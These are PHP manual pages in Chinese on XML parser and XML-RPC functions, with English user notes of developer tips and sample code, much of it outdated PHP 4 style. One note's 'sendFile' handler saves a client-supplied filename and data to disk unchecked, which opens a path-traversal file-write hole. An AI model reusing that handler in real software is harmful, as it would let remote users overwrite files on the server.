$parser->set_callback_handler(new myCallbackHandler());
dfoesch at cs dot nmsu dot edu
12-Apr-2002 08:38
English explaination of why you do: $xml = & new xml();

Ok, when PHP executes "new xml()" it creates an anonymous variable (one that you can't reference with any name) which it then runs the constructor function on.  Ok, now once that's done, it then assigns by VALUE in the example above.  This means that that lovely pointer to your parser is pointing to the anonymous instance of your class, and not the used instance of your class... thus making a "shadow" of all your variables, where assignments inside the parser access different variables than outside the parser.  What PHP _SHOULD_ be doing (similar to C++) is have this statement execute such that the assignment is done by REFERENCE, so that you assign the new name to the class that actually got constructed, and not just a copy of the class that you constructed.

If they did it right, this code wouldn't be broken.
15-Feb-2002 03:10
Call-time pass-by-reference has been deprecated, so the example is buggy as was already mentionned. However since 4.04 (I think) "new" can return objects by reference. So the clean way to have both the parser initialised in the constructor, and to save the result in your object is to do

$xml_parser = & new xml();

see http://www.php.net/manual/en/language.oop.newref.php

Ivan
pete dot nelson at serverSXPYAZMsolved dot com
28-Aug-2001 01:15
<p>in reply to jon9mm's question, I have found the same problem (function 'startElement' does not exist).  I finally found the way around this, by re-reading this doc for xml_set_object.  You HAVE to use the xml_set_object($this->parser, &$this) within your parser function.</p> <p>When that function is called, your object temporarily becomes the parser object and shares scope (so it can see 'startElement', etc).  Once that function is done, the xml_set_object(...) call goes out of scope, and your object is no longer bound to the parser.  So the simplist solution is to call xml_set_object(...), do any parsing, and then call xml_parser_free(...) all within the same function.</p>
<p>And remember, don't call xml_set_object(...) in your object's constructor - your object will be forever bound to the parser object and you'll loose all access to your object's member functions.</p>
<p>This is all explained in the examples above, but it took me reading it a couple of times to grok how it all works.</p>
nick at category4 dot com
15-May-2001 04:45
If you're using the XML parser within an object, be careful not to accidentally call any methods that don't exist within the object. Instead of complaining that the missing method doesn't exist, PHP will say it's not able to find the handler routines, even if you've indicated them correctly. (PHP version 4.0.5 on FreeBSD).
williams at cse dot unl dot edu
07-Dec-2000 04:42
If xml_set_object is not called in the constructor of an object, the values that the parser modifies will be saved. Else, the values do not seem to be saved as stated by "i_sofer" above.
--- Start Example Code ---
class foo {
var xmlparser;
function foo() { \\the constructor
$this->xmlparser=xmlparser_create();
}
function parse() {
xml_set_object($this->xmlparser,&$this);
\\also include data handler
\\and element handlers here
}
}
--- End Example Code ---
i_sofer at yahoo dot com
19-Nov-2000 08:15
Using xml parser in objects seem to have a problem that values modified(even of the object itself) get lost as soon as parsing ends...
malcontent at msgto dot com
20-Aug-2000 03:11
The example will generate a warning unless allow_call_time_pass_reference is set to true in your INI file. It also will not accept a call by value.
robert at webmotion dot com
19-Apr-2000 01:58
While true that there is no automatic destructor for PHP class objects, it is quite simple to create a method called destroy and perform the destruction manually. In the example above it may not be necessary to free the xml parser immediately... it would appear from the example that the object is re-useable.
add a note add a note

后退 | 起点 | 前进
xml_set_notation_decl_handler | 上一级 | xml_set_processing_instruction_handler


xml_set_processing_instruction_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_processing_instruction_handler -- 建立处理指令（PI）处理器

说明

bool xml_set_processing_instruction_handler ( resource parser, callback handler )

为 parser 参数指定的 XML 解析器建立处理指令（PI）处理器函数。参数 start_element_handler 和 end_element_handler 为表示函数名称的字符串，这些函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

处理指令有如下格式：

<?target
       data?>

您可以将 PHP 代码放置在类似的标识符中，但要注意一个限制：在 XML 处理指令（PI）中，PI 的终止符（?>）不能被引号引用，因此该字符序列不应该在您用 PI 嵌入到 XML 文档中的 PHP 代码中出现。否则，剩下的 PHP 代码，包括“真正”的 PI 终止符将被当作字符数据处理。

由 handler 参数命名的函数名必须接受三个参数： handler ( resource parser, string target, string data )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

target

第二个参数 target 为 PI 对象（PI target）。

data

第二个参数 target 为 PI 数据（PI data）。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE；如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_set_object | 上一级 | xml_set_start_namespace_decl_handler


xml_set_start_namespace_decl_handler

(PHP 4 >= 4.0.5, PHP 5)

xml_set_start_namespace_decl_handler -- 建立起始命名空间声明处理器

说明

bool xml_set_start_namespace_decl_handler ( resource parser, callback handler )

警告

本函数暂无文档，仅有参数列表。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
Los Olvidados
31-Jan-2003 06:39
From Expat manual:

typedef void
(*XML_StartNamespaceDeclHandler)(void *userData,
                                 const XML_Char *prefix,
                                 const XML_Char *uri);
Set a handler to be called when a namespace is declared. Namespace declarations occur inside start tags. But the namespace declaration start handler is called before the start tag handler for each namespace declared in that start tag.
add a note add a note

后退 | 起点 | 前进
xml_set_processing_instruction_handler | 上一级 | xml_set_unparsed_entity_decl_handler


xml_set_unparsed_entity_decl_handler

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_set_unparsed_entity_decl_handler -- 建立未解析实体定义声明处理器

说明

bool xml_set_unparsed_entity_decl_handler ( resource parser, callback handler )

为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。参数 start_element_handler 和 end_element_handler 为表示函数名称的字符串，这些函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时，该处理器将被调用：
<!ENTITY <parameter>name</parameter> {<parameter>publicId</parameter> | <parameter>systemId</parameter>}
        NDATA <parameter>notationName</parameter>

请参阅 XML 1.0 参考的第 4.2.2 节以获取有关已声明外部实体注释定义的信息。

由 handler 参数命名的函数名必须接受六个参数： handler ( resource parser, string entity_name, string base, string system_id, string public_id, string notation_name )

parser

第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。

entity_name

将被定义的实体名。

base

这个参数是解析外部实体的系统标识符（system_id）的基础。当前该参数通常都被设置为空字符串。

system_id

外部实体的系统标识符。

public_id

外部实体的公共标识符。

notation_name

该实体的注释名（请参阅 xml_set_notation_decl_handler()）。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

如果处理器被成功的建立，该函数将返回 TRUE；如果 parser 指向的不是合法的解析器，函数该函数将返回 FALSE。

注: 除了函数名，还可以用一个数组作参数，该数组由一个对象名和该对象的一个方法名两个元素组成。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_set_start_namespace_decl_handler | 上一级 | XML-RPC 函数


XML-RPC 函数

PHP 手册
后退 前进

CLVII. XML-RPC 函数

简介

本类函数可用于编写 XML-RPC 服务端和客户端。可以在 http://www.xmlrpc.com/ 找到更多关于 XML-RPC 的信息，同时可在 http://xmlrpc-epi.sourceforge.net/ 找到更多关于此扩展及其功能的文档。

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

需求

要编译本扩展模块不需要外部库文件。

安装

默认情况下在 PHP 中是不能使用 XML-RPC 支持的。你需要使用 --with-xmlrpc[=DIR] 配置选项编译 PHP 才能够使用 XML-RPC 支持。从 PHP 4.1.0 开始附带了此扩展。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. XML-RPC 配置选项

名称 | 默认值 | 作用范围 | 更新日志
xmlrpc_errors | "0" | PHP_INI_SYSTEM | 从 PHP 4.1.0 起开始存在
xmlrpc_error_number | "0" | PHP_INI_ALL | 从 PHP 4.1.0 起开始存在
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
xmlrpc_decode_request -- 将 XML 译码为 PHP 本身的类型
xmlrpc_decode -- 将 XML 译码为 PHP 本身的类型
xmlrpc_encode_request -- 为 PHP 的值生成 XML
xmlrpc_encode -- 为 PHP 的值生成 XML
xmlrpc_get_type -- 为 PHP 的值获取 xmlrpc 的类型
xmlrpc_is_fault -- Determines if an array value represents an XMLRPC fault
xmlrpc_parse_method_descriptions -- 将 XML 译码成方法描述的列表
xmlrpc_server_add_introspection_data -- 添加自我描述的文档
xmlrpc_server_call_method -- 解析 XML 请求同时调用方法
xmlrpc_server_create -- 创建一个 xmlrpc 服务端
xmlrpc_server_destroy -- 销毁服务端资源
xmlrpc_server_register_introspection_callback -- 注册一个 PHP 函数用于生成文档
xmlrpc_server_register_method -- 注册一个 PHP 函数用于匹配 xmlrpc 方法名
xmlrpc_set_type -- 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

add a note add a note User Contributed Notes
keithNO dot SPAMthornhill at gmail dot com
17-May-2006 05:16
for others attempting the same thing, here is what a function would look like if you wanted to send a base64 encoded file from a client and then save it onto the server. the other code necessary to call this function via an RPC is available in other comments so i won't repeat it.

parameters:
1 - name of file
2 - base64 encoded data of file

note the use of $file_data->scalar

<?
   function sendFile($method_name, $params, $user_data) {
       $file = "/somedir/" . $params[0];
       $file_data = $params[1];

       $fh = @fopen($file, "wb");
       if ($fh) {
           if (@fwrite($fh, $file_data->scalar)) {
               $msg = "success msg";
           } else {
               $msg = "couldn't write to file";
           }
           fclose($fh);
           return $msg;
       } else {
           return "couldn't open file";
       }
   }
?>
10-Mar-2006 04:47
This XML-RPC Service makes the use XML-RPC very esay.

<?php

/**
* function myfun() returns
*@return array
*/
function myfunc(){
   return $some_array;
}

$ws = new XML_RPC_Server();
$ws->registerFunction('myfunc');
$ws->run();

?>

http://www.pure-php.de/node/31

It creates also a simple docu.
http://www.pure-php.com/php/service.php?doc
john # curioussymbols com
19-Oct-2005 07:37
I couldn't make the 'xmlrpc_errors' php.ini setting do anything
noticeable (PHP 4.3.11), so I used the following code to report errors
from my XMLRPC server. Hope it's helpful for someone.

<?php
function return_xmlrpc_error($errno,$errstr,$errfile=NULL,$errline=NULL
       ,$errcontext=NULL){
   global $xmlrpc_server;
   if(!$xmlrpc_server)die("Error: $errstr in '$errfile', line '$errline'");

   header("Content-type: text/xml; charset=UTF-8");
   print(xmlrpc_encode(array(
       'faultCode'=>$errno
       ,'faultString'=>"Remote XMLRPC Error from
         ".$_SERVER['HTTP_HOST'].": $errstr in at $errfile:$errline"
   )));
   die();
}
set_error_handler('return_xmlrpc_error');
?>

In my server function, I just trigger_error("message",E_USER_ERROR)]
 if something can't be completed.

Then on the client side,
<?php
       $data =& xmlrpc_decode($response['body']);

       if(xmlrpc_is_fault($data)){
           trigger_error($data['faultString'],E_USER_ERROR);
       }
?>
martin dot rode at programmfabrik dot de
04-Aug-2005 08:28
To connect to a python xmlrpc server I use:

function do_call($host, $port, $request) {

   $url = "http://$host:$port/";
   $header[] = "Content-type: text/xml";
   $header[] = "Content-length: ".strlen($request);

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_TIMEOUT, 1);
   curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $request);

   $data = curl_exec($ch);
   if (curl_errno($ch)) {
       print curl_error($ch);
   } else {
       curl_close($ch);
       return $data;
   }
}

$request = xmlrpc_encode_request('add', array(3, 4));
$response = do_call($host, $port, $request);
astrolox at lawyersonline dot co dot uk
22-Mar-2005 08:20
The PHP XML-RPC project at SourceForge makes life a hell of a lot easier. However, the project uses some function names which are identical to thoses provided by the XML-RPC extention.

If you are on a server with XML-RPC extension compiled in but wish to use the PHP based version then you will have to rename some of the functions.

I notice that sourceforce says there is activity on the project in 2005 but the last release was January 12, 2003.

I recommend that you use this not so friendly PHP extention if available. However this sourceforce project is still a good idea if you don't control which extenions are be available on the server.

http://phpxmlrpc.sourceforge.net/
rdude at fuzzelfish dot com
14-Mar-2005 04:57
An easier alternative to the built-in XML-RPC function is available at:
http://phpxmlrpc.sourceforge.net/

PHP XML-RPC is written purely in PHP, so there is no need to recompile to use the experiment XML-RPC extension. PHP XML-RPC is also definitely easier to use, especially if you are creating a server. Documentation is available at the above link.
Jerome Delamarche
14-Oct-2004 05:58
The documentation lacks an example that shows how to send a fault in a response. Here is how to do it:

$args = array("faultCode" => $errcode, "faultString" => $errmsg);
$resp = xmlrpc_encode_request(NULL,$args);
//echo $resp;
php at hendrik-krauss dot de
14-Aug-2004 03:38
On "datetime" values:

If you implement an XML-RPC server with these functions and a client calls a method on your server, sending a datetime as parameter (in ISO 8601 format, as specified at http://www.xmlrpc.com/spec), the PHP XML-RPC will pass your registered server method an object as parameter. That object, for example, looks like:
obj->type="datetime"
obj->scalar="20040420T13:32:40"
obj->timestamp=1082460760

If you do xmlrpc_get_type(obj), it will return "datetime", so presumably that function just returns the value of 'type'. 'scalar' seems to be the on-the-wire representation of the datetime (ISO 8601, exactly as received). 'timestamp' appears to be the ISO value in 'scalar' converted into a normal PHP timestamp (i.e. Unix time_t).

Note on 'scalar': Using a MySQL DB, we did something like  "select blah where start_time >= $obj->scalar ;". That actually worked and returned expected results, so MySQL appears to handle that ISO 8601 format correctly.
swunderlin at REMOVE-telemedia dot ch
09-Jun-2004 06:20
pear hs an XML_RPC package, if you can't recompile your php:
http://pear.php.net/package/XML_RPC
steph at zend dot com
08-Jun-2004 07:04
It took me a while to get a client together without external libraries.  This very basic client/server pair works on my home set-up - hopefully it will save the next xml-rpc virgin some grief.

/* clienttest.php */
<?php
function do_call($host, $port, $request) {

   $fp = fsockopen($host, $port, $errno, $errstr);
   $query = "POST /home/servertest.php HTTP/1.0\nUser_Agent: My Egg Client\nHost: ".$host."\nContent-Type: text/xml\nContent-Length: ".strlen($request)."\n\n".$request."\n";

   if (!fputs($fp, $query, strlen($query))) {
       $errstr = "Write error";
       return 0;
   }

   $contents = '';
   while (!feof($fp)) {
       $contents .= fgets($fp);
   }

   fclose($fp);
   return $contents;
}

$host = 'localhost';
$port = 80;
$request = xmlrpc_encode_request('cycle', 'egg');
$response = do_call($host, $port, $request);
/* do something with $response, e.g. print it */
?>

/* servertest.php */
<?php
function lifecycle($method, $params) {
/* $method = 'cycle', $params = (array of) request parameter(s); $data is also passed from xmlrpc_server_call_method, if we had any data to pass */
   switch($params[0]) {
       case 'egg':
           $reply = 'All eggs will be birds one day.';
       break;
       default:
           $reply = 'That must have been an otheregg';
   }
   return $reply;
}

$server = xmlrpc_server_create();

/* register the 'external' name and then the 'internal' name */
xmlrpc_server_register_method($server, "cycle", "lifecycle");

$request = $HTTP_RAW_POST_DATA; // no you don't need 'always on', and no $_POST doesn't work.

/* the parameters here are 'server, xml-string and user data'.  There's supposed to be an optional 'output options' array too, but I can't get it working :( hence header() call */
$response = xmlrpc_server_call_method($server, $request, null);
header('Content-Type: text/xml');
print $response;

xmlrpc_server_destroy($server);
?>
andrej
26-Feb-2004 12:52
devshed article is at http://www.devshed.com/c/a/PHP/Using-XML%98RPC-with-PHP
mboeren at php dot net
25-Feb-2004 08:34
Just a quick addition to my previous xmlrpc_client class: since you cannot use remote methods containing capital letters or methods from subhandlers (like 'system.listMethods()'), I added a 'call(...)' method to the class.

<?php
   // this method should be copy/pasted in the
   // xmlrpc_client class

   function call($function)
   {
       $return = NULL;
       $argv = func_get_args();
       array_shift($argv); // remove function argument
       $this->__call($function, $argv, &$return);
       return $return;
   }

   // now, you can also do
   $result = $client->call('system.listMethods');
   $sum = client->call('add', '1', '2');
?>
mboeren at php dot net
24-Feb-2004 11:01
I use the following code (requires the overload extension) to make developing clients easier:

<?php
include("utils/utils.php"); // from xmlrpc-epi utils

/*
Usage:
   $client = new xmlrpc_client("http://localhost:7080");
   print $client->echo('x')."\n";
   print $client->add(1, 3)."\n";

*/
class xmlrpc_client
{
   var $url;
   var $urlparts;

   function xmlrpc_client($url)
   {
       $this->url = $url;
       $this->urlparts = parse_url($this->url);
       foreach(array('scheme', 'host', 'user', 'pass', 'path',
                     'query', 'fragment')
               as $part) {
           if (!isset($this->urlparts[$part])) {
               $this->urlparts[$part] = NULL;
               }
           }
   }

   function __call($function, $arguments, &$return)
   {
       $requestprms['host'] = $this->urlparts['host'];
       $requestprms['port'] = $this->urlparts['port'];
       $requestprms['uri'] = $this->urlparts['path'];
       $requestprms['method'] = $function;
       $requestprms['args'] = $arguments;
       $requestprms['debug'] = 0;
       $requestprms['timeout'] = 0;
       $requestprms['user'] = NULL;
       $requestprms['pass'] = NULL;
       $requestprms['secure'] = 0;

       $result = xu_rpc_http_concise($requestprms);
       if (is_array($result) && isset($result['faultCode'])) {
           print('Error in xmlrpc call \''.$function.'\''."\n");
           print('  code  : '.$result['faultCode']."\n");
           print('  message: '.$result['faultString']."\n");
           return false;
           }
       $return = $result;
       return true;
   }

}
overload('xmlrpc_client');

?>
Frank
22-Jan-2004 02:32
here's how to install it on windows (so it actually works):

- php.ini > enable "php_xmlrpc.dll" in extensions.
- php.ini > make sure "extension_dir" is set correctly to find the dll in your php installation dir /extensions.
- copy iconv.dll from your php install dir /dlls to a directory in your path (ex: c:/windows).

if you got some errors while launching apache prior to trying this I suggest you reboot your machine first... sounds weird I know, but remember... you're running Windowz.
Have fun
sjtirtha at gmx dot de
22-Aug-2003 01:23
To install xml-rpc feature on Windows, you need to have "php_xmlrpc.dll" on your "/extensions" Folder.
And you need to enable it on "php.ini".

You need also library from http://xmlrpc-epi.sourceforge.net .
to make your code simply.

Look the examples at http://www.devshed.com/Server_Side/PHP/XMLRPCwithPHP/page1.html .
mistcat attyatatat phreaker dootttt net
18-Apr-2003 06:52
Hope this saves somone some frustration:
As of php 4.3.1 and xmlrpc-epi-php-0.51 php would return a content type text/html instead of text/xml in its responses.  this is a bad thing.  Perl's XMLRPC::Lite for instance will not like you if you do this.  Happily the solution is simple:

header("Content-Type: text/xml");

Happy Hunting.

-Nate
daniel(at)lorch.cc
25-Mar-2003 09:21
If you need a tutorial on the XML-RPC-Extension go to devshed:

  http://www.devshed.com/Server_Side/PHP/XMLRPCwithPHP/page1.html
bmichael at goldparrot dot com
09-Feb-2003 01:52
If anyone is interested in making XMLRPC requests directly from the client, I have been able to get xmlrpc to
work with vcXMLRPC javascript backend.

After about 1 week of scanning the market, I found this solution to be the best on Javascript back end.  It uses the Microsoft.HTTP activeX control for IE, or HTTPRequest Object for Mozilla.

You include vc(Virtual Cowboys) vcXMLRPC.js file into your pages and make the rpc calls from with javascript to create the requests.

It works both ways.

Two Notes:

I have tested it on IE 6.02 and you need to change lines in ProcessRequest :
function to read:

  dom = this.getObject("XMLDOM",http.responseText);

and change the getObject function to use the latest ActiveX Control:

 MSXML2.XMLHTTP.3.0  (or 4.0)
 MSXML2.DOMDocument.3.0  (or 4.0)

The controls are found on MSDN in the Web Services -> XML area.

As another note, you DO NOT NEED the rpcproxy.cgi script to use this.  That is a proxy script to get around JS Security.  You can use PHP to build the proxy.  But, I was able to get the CGI working with GCC compiler on Solaris (change the -KPCI, depend and -x03 optimizer settings in the Makefile )
roland at php dot net
29-Jan-2003 06:15
You can find a good howto about the xml-rpc extension at

http://www.devshed.com/Server_Side/PHP/XMLRPCwithPHP/page1.html

It's an easy client / server example - works quite good :-)
nospam at phppatterns dot com
07-Dec-2002 09:45
Note that you do need the iconv module installed to use the XML-RPC extension (see: http://www.php.net/manual/en/ref.iconv.php)
hfuecks at pinkgoblin dot com
26-Sep-2002 09:34
You can pass PHP errors with the XML-RPC extension as described here: http://www.zend.com/lists/php-dev/200107/msg00642.html
steve at orangeNOSPAMimagineering dot com
25-Aug-2002 04:32
There's a handy library by Keith Devens (version 2.2.1) at
http://www.keithdevens.com/software/xmlrpc/

Here is a sample client. It remotely calls sample.sumAndDifference
with two parameters (3 and 5).
It returns:

sum => 8
difference => -2

<?php
include ("kd_xmlrpc.php");
// define("XMLRPC_DEBUG", 0);    // Set to 1 for handy debugging

$method = "sample.sumAndDifference";
$params = XMLRPC_prepare(array(3,5));

$site = "xmlrpc-c.sourceforge.net";
$location = "/api/sample.php";

list($success, $result) = XMLRPC_request( $site, $location, $method, $params );

// XMLRPC_debug_print();    // uncomment for debugging

foreach ( $result as $key => $value ) {
         echo(" $key => $value \n");
}

?>
hfuecks at pinkgoblin dot com
15-Aug-2002 11:32
This extension does not handle the process of making making XML-RPC client requests via HTTP; it only prepares the XML-RPC request payload.

This differs from many other XML-RPC implementations but offers greater flexibility, allowing SSL connections, authentication headers and XML-RPC via other transports like SMTP.
hfuecks at pinkgoblin dot com
29-Jul-2002 04:33
Anyone interested in PHP-GTK talking to an XML-RPC server:

http://www.pinkgoblin.com/gtk2xmlrpc.php
ivanr at webkreator dot com
22-Jun-2002 02:50
For a really easy way to use this XML-RPC extension take a look at

XML-RPC Class Server (http://www.webkreator.com/php/xcs/)

It automatically creates servers out of PHP classes. Creating clients is almost as easy, especially with the recent addition of the overload extension to PHP (see http://www.php.net/manual/en/ref.overload.php).
nic at uklinux dot NOSPAM dot net
25-Apr-2002 12:05
An alternative XML-RPC implementation is available at http://xmlrpc.usefulinc.com - it's written in PHP so you can use it on servers for which you don't have the luxury of rebuilding PHP on.

nic
cmv at php dot net
08-Jan-2002 09:26
"Latest releases" is a bit redundant, since this extension is bundled into PHP (as of 4.1.0).  You don't need to download anything from sourceforge to make this work.  Just compile PHP with the --with-xmlrpc flag.

The site http://xmlrpc-epi.sourceforge.net/ is useful, however, for documentation.
ravan_n at hotmail dot com
27-Dec-2001 07:01
Refer to the below link for documentation / latest releases of the package.

http://xmlrpc-epi.sourceforge.net/main.php?t=php_about
add a note add a note

后退 | 起点 | 前进
xml_set_unparsed_entity_decl_handler | 上一级 | xmlrpc_decode_request


xmlrpc_decode_request

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_decode_request -- 将 XML 译码为 PHP 本身的类型

描述

array xmlrpc_decode_request ( string xml, string &method [, string encoding] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
XML-RPC 函数 | 上一级 | xmlrpc_decode


xmlrpc_decode

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_decode -- 将 XML 译码为 PHP 本身的类型

描述

array xmlrpc_decode ( string xml [, string encoding] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
david dot bachelart at polytechnique dot org
18-Jul-2004 11:18
Be careful with encodings, the xmlrpc-decode function is rather strict. For example, the following response parse returns NULL :

<?xml version="1.0"?>
<methodResponse>
   <params>
     <param>
         <value><string>a & b</string></value>
         </param>
     </params>
   </methodResponse>

You should use entities :
<?xml version="1.0"?>
<methodResponse>
   <params>
     <param>
         <value><string>a &amp; b</string></value>
         </param>
     </params>
   </methodResponse>

If your server does not encode responses properly, you may have to process responses before parse.
hfuecks at pinkgoblin dot com
16-Aug-2002 06:57
Use this with an XML-RPC client to decode a server response into native PHP variables. It will automatically translate the response XML-RPC data types into their PHP equivalents.

This function will return only false is there is any problem with format of the XML it receives.

The HTTP response header will need to be stripped off with something like;

<?php
$xml=(substr($response, strpos($response, "\r\n\r\n")+4));

$phpvars = xmlrpc_decode ($xml);
?>
add a note add a note

后退 | 起点 | 前进
xmlrpc_decode_request | 上一级 | xmlrpc_encode_request


xmlrpc_encode_request

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_encode_request -- 为 PHP 的值生成 XML

描述

string xmlrpc_encode_request ( string method, mixed params [, array output_options] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
php at hendrik dash krauss dot de
28-May-2005 05:35
For documentation and examples regarding the array output_options, see http://xmlrpc-epi.sourceforge.net/main.php?t=php_api#output_options

In short, output_options lets you send compact xmlrpc (without all the "pretty whitespace" xmlrpc_encode adds normally), apply an own escaping table prior to sending, set the encoding, and a couple of other things (the page even says something about soap 1.1 ... I don't know details).
php at hendrik dash krauss dot de
28-May-2005 05:29
For examples / documentation of the array output_options, see http://xmlrpc-epi.sourceforge.net/main.php?t=php_api#output_options

In short, output_options lets you send compact xmlrpc (without all the "pretty whitespace" xmlrpc_encode adds normally), apply an own escaping table prior to sending, set the encoding, and a couple of other things (the page even says something about soap 1.1 ... I don't know details).
<URL:http://www.dlitz.net/go/contact/>
04-May-2004 02:28
Note that as far as I can tell, the &#10; characters generated by PHP in the base64 fields don't appear to violate the XML-RPC standard at all.  XML-RPC messages *are* in XML format, and as such, the XML entities should be getting decoded before being passed to a base64 decoder.  So, the previously-mentioned Jakarta-based XML-RPC server appears to violate the XML spec.  i.e. There's nothing here that needs to be "fixed" in PHP.
Brian
10-Feb-2003 12:00
As per documentation on xmlrpc-epi's site, this function
also can create both a methodCall and a methodResponse.

to create a methodCall:
     xmlrpc_encode_request(null,$params);

to create a methodRequest:
     xmlrpc_encode_request("methodName",$params);

---
The documentation on this is abysmal.  I know this is opensource, but it has been around for quite a while now.
kelly at seankelly dot biz
29-Dec-2002 08:02
Binary strings (set with xmlrpc_set_type) go into a <base64>...</base64> block like you'd expect. But after every 80th character, this function inserts the XML entity "&#10;", which is a Unicode newline, as if to cause a line-wrap, which is admittedly silly.

Silly though it may be, it causes real problems for some XML-RPC servers, such as http://jakarta.apache.org/xmlrpc/ (nee Helma). Stripping out those entities with something like

$req = preg_replace('/&#10;/', '', xmlrpc_encode_request("my.method", $args));

works around the problem.
hfuecks at pinkgoblin dot com
16-Aug-2002 12:06
This function should be used by an XML-RPC client to create an XML payload for an XML-RPC request;

<?php
$params = "system.methodSignature";
$method = "system.methodHelp";
$request = xmlrpc_encode_request($method,$params);
echo ( $request );
?>

Produces;

<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.methodHelp</methodName>
<params>
 <param>
  <value>
   <string>system.methodSignature</string>
  </value>
 </param>
</params>
</methodCall>

The second argument recognises the type of variable and generates the correct XML-RPC structure. See xmlrpc_encode() for more details.
add a note add a note

后退 | 起点 | 前进
xmlrpc_decode | 上一级 | xmlrpc_encode


xmlrpc_encode

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_encode -- 为 PHP 的值生成 XML

描述

string xmlrpc_encode ( mixed value )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
08-Jun-2006 10:32
Another quirk (more of a bug i think) is the automatic encoding of hashes where all keys that begin with a digit between 1 and 9 are lost:
http://bugs.php.net/bug.php?id=37746

Luckily I found a quick workaround. Just append chr(0x00) to your keys and the xmlrpc response will be correct. Maybe this will apply to encoding of hashes for requests too.
Amir.LaherATcomplinetDOTcom
26-Aug-2005 04:54
Beware this quirk: when you xmlrpc_encode a hash into xmlrpc, numeric keys will not be kept. Even strings containing numbers-only will be lost.

i.e.: xmlrpc_decode(xmlrpc_encode(array('123'=>456)));
returns: array(0=>456);

Apparently this is intentional functionality (see http://bugs.php.net/bug.php?id=21949)

2 workarounds:
1. prepend/append a string (even whitespace) to all keys, and strip them out at the other end. eg array('key_123'=>456);
2. create an array of hashes. array(array('key'=>123,'value'=>456));

I favour the second option because it's more deliberate.

... this also applies to xmlrpc_encode_request()
hfuecks at pinkgoblin dot com
15-Aug-2002 11:16
This function would be used by an XML-RPC server to convert PHP variables into an XML-RPC response.

It would be used within the PHP functions defined using xmlrpc_server_register_method()

Uses PHP variable reflection to assign the correct data types for the XML-RPC response. For example;

<?php
$params = array ( "one"=>"red","two"=>"blue","three"=>"green" );

$response = xmlrpc_encode ( $params );

echo ( $response );
?>

Produces;

<?xml version='1.0' encoding="utf-8" ?>
<params>
<param>
 <value>
  <struct>
   <member>
   <name>one</name>
   <value>
     <string>red</string>
   </value>
   </member>
   <member>
   <name>two</name>
   <value>
     <string>blue</string>
   </value>
   </member>
   <member>
   <name>three</name>
   <value>
     <string>green</string>
   </value>
   </member>
  </struct>
 </value>
</param>
</params>

While
<?php
$params = array ( "red", "blue", "green" );

$response = xmlrpc_encode ( $params );

echo ( $response );
?>

produces;

<?xml version='1.0' encoding="utf-8" ?>
<params>
<param>
 <value>
  <array>
   <data>
   <value>
     <string>red</string>
   </value>
   <value>
     <string>blue</string>
   </value>
   <value>
     <string>green</string>
   </value>
   </data>
  </array>
 </value>
</param>
</params>

And

<?php
$params = 1;

$response = xmlrpc_encode ( $params );

echo ( $response );
?>

produces

<?xml version='1.0' encoding="utf-8" ?>
<params>
<param>
 <value>
  <int>1</int>
 </value>
</param>
</params>

It's useful to be aware of the settype() function (http://www.php.net/settype).

For binary base64 data and XML-RPC iso8601 date times the xmlrpc_set_type() function should be used on a PHP variable before using xmlrpc_encode()
add a note add a note

后退 | 起点 | 前进
xmlrpc_encode_request | 上一级 | xmlrpc_get_type


xmlrpc_get_type

(PHP 4 >= 4.1.0, PHP 5)

xmlrpc_get_type -- 为 PHP 的值获取 xmlrpc 的类型

描述

string xmlrpc_get_type ( mixed value )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

该函数对于 base64 与日期时间字符串特别有用。

警告

